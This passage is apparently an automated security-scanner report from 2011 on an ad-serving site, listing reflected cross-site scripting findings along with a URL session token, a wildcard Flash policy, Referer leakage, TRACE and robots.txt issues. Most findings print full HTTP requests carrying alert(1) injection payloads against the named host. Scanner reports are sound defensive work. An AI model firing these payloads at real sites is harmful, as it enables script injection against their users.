GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=leftfc633"-alert(1)-"bf5ea0e5316&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the t request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f979f"-alert(1)-"4da269173fc was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026f979f"-alert(1)-"4da269173fc&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the volumeInitAction request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56ce3"-alert(1)-"291999c4fdb was submitted in the volumeInitAction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute56ce3"-alert(1)-"291999c4fdb&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the &slideOut request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1246"%3balert(1)//246b78767ae was submitted in the &slideOut parameter. This input was echoed as e1246";alert(1)//246b78767ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=one1246"%3balert(1)//246b78767ae&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the campaignId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab1a6"%3balert(1)//fd7e29d8f10 was submitted in the campaignId parameter. This input was echoed as ab1a6";alert(1)//fd7e29d8f10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269ab1a6"%3balert(1)//fd7e29d8f10&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the mouseAction request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9876c"%3balert(1)//9c9ca4cdfea was submitted in the mouseAction parameter. This input was echoed as 9876c";alert(1)//9c9ca4cdfea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver9876c"%3balert(1)//9c9ca4cdfea HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
1.22. http://as.jivox.com/player/jivox_ad_tags.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://as.jivox.com
Path:
/player/jivox_ad_tags.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a1a19"%3balert(1)//5408500c377 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a1a19";alert(1)//5408500c377 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&a1a19"%3balert(1)//5408500c377=1 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the objectName request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 82d47%3balert(1)//823df78463c was submitted in the objectName parameter. This input was echoed as 82d47;alert(1)//823df78463c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_622982d47%3balert(1)//823df78463c&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the objectName request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 21db4'%3balert(1)//6bfeeaad68e was submitted in the objectName parameter. This input was echoed as 21db4';alert(1)//6bfeeaad68e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_622921db4'%3balert(1)//6bfeeaad68e&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the objectName request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70b9e"%3balert(1)//11079725af6 was submitted in the objectName parameter. This input was echoed as 70b9e";alert(1)//11079725af6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_622970b9e"%3balert(1)//11079725af6&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the r request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e795f"%3balert(1)//79603f96b09 was submitted in the r parameter. This input was echoed as e795f";alert(1)//79603f96b09 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138e795f"%3balert(1)//79603f96b09&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the slideOutOrientation request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8662c"%3balert(1)//dc01c871699 was submitted in the slideOutOrientation parameter. This input was echoed as 8662c";alert(1)//dc01c871699 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left8662c"%3balert(1)//dc01c871699&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the t request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e7a91"%3balert(1)//d5c2645d8cb was submitted in the t parameter. This input was echoed as e7a91";alert(1)//d5c2645d8cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /player/jivox_ad_tags.php?t=1300650863026e7a91"%3balert(1)//d5c2645d8cb&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /player/interactivity.php?reportingURL=http://evs.jivox.com&t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver&autoPlay=true&maxAds=3&pauseBetweenAds=1000&volumeInitAction=toggleMute&adRepeat=2&serverURL=http://as.jivox.com&jvxSessionId=1300650818.5288&campaignId=17269&siteId=64cf4e983aeba3&objectId=jvxAdPlayer_6229&playerCompanionHeight=250&playerCompanionWidth=300&playerHeight=250&playerWidth=300&companionBannerOn=true&endOfTheAd=false&playerDetailInteractivitySlideoutSpace=false&slideOutOn=true&slideOutOrientation=left&playerSkinWidth=0&playerInteractivityDomReference=intrDetailPanel39220&jvxSessionId=1300650818.5288 HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: as.jivox.com
Response
HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: text/xml Date: Sun, 20 Mar 2011 19:53:41 GMT ETag: "fd697-353-a1f32280" Last-Modified: Tue, 08 Feb 2011 05:29:30 GMT Server: Apache/2.2.6 (Fedora) Content-Length: 851 Connection: Close
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /player/jivox_ad_tags.php?t=1300650863026&r=0.11724234279245138&objectName=jvxAdPlayer_6229&&slideOut=on&slideOutOrientation=left&siteId=64cf4e983aeba3&campaignId=17269&mouseAction=mouseOver HTTP/1.1 Host: as.jivox.com Proxy-Connection: keep-alive Referer: http://www.financialexpress.com/news/cloud-computings-toughest-obstacle/765069/0 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: as.jivox.com
Response
HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: text/plain; charset=UTF-8 Date: Sun, 20 Mar 2011 19:53:41 GMT ETag: "54341-1a-2bf6880" Last-Modified: Tue, 08 Feb 2011 05:56:34 GMT Server: Apache/2.2.6 (Fedora) Content-Length: 26 Connection: Close
User-agent: * Disallow: /
7. Content type incorrectly statedprevious There are 2 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.